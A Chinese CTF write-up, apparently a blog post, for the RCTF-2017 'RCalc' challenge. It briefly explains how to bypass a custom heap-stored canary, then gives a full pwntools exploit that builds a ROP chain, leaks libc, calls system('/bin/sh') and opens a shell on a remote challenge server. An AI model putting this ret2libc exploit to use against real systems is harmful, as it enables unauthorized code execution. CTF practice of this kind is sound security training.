RCalc RCTF-2017

这个题目比较好玩的一点就是自己写了一个canary的保护

其实就是首先开了堆

然后随机值 然后 把随机值保存到堆里面 后来在取出来做对比

用一个canary 然后保存一个 类似栈结构  ++  ---

然后 根据 堆的知识以及调试可以知道

我们保存的结果可以溢出到堆里面 那么 我们直接修改就可以了  然后泄露一下就ok了

from pwn import *
context.log_level = 'debug'

#p = remote('127.0.0.1', 2333)
debug=0
if debug:
	io=process("./RCalc")
else:
	io=remote("111.198.29.45",36210)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
puts_plt = 0x400850
__libc_start_main_ = 0x601FF0

rdi_ret = 0x0000000000401123
main_addr = 0x0000000000401036

payload=""
def pass_canary(k):
	for i in range(35+k):
		io.recvuntil("Your choice:")
		io.sendline("1")
		io.recvuntil("input 2 integer: ")
		io.send("0\n0\n")
		io.recvuntil("Save the result? ")
		io.sendline("yes")
		#sleep(0.2)
	io.recvuntil("Your choice:")
	io.sendline("5")

if __name__ =="__main__":
	payload+="\x00"*0x110
	payload+=p64(0)
	payload+=p64(rdi_ret)
	payload+=p64(__libc_start_main_)
	payload+=p64(puts_plt)
	payload+=p64(main_addr)

	io.recvuntil("Input your name pls: ")
	io.sendline(payload)

	pass_canary(0)

	libc_start_main_addr = u64(io.recvn(6).ljust(8, '\x00'))

	libc_addr_base=libc_start_main_addr-libc.sym['__libc_start_main']

	log.success("libc_start_main_addr "+hex(libc_start_main_addr))
	log.success("libc_addr_base "+hex(libc_addr_base))

	system_addr=libc_addr_base+libc.sym['system']
	bin_sh_addr=libc_addr_base+libc.search("/bin/sh").next()

	payload="\x00"*0x110
	payload+=p64(0)
	payload+=p64(rdi_ret)
	payload+=p64(bin_sh_addr)
	payload+=p64(system_addr)
	payload+=p64(main_addr)

	io.recvuntil("Input your name pls: ")
	io.sendline(payload)

	pass_canary(0)

	io.interactive()

拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值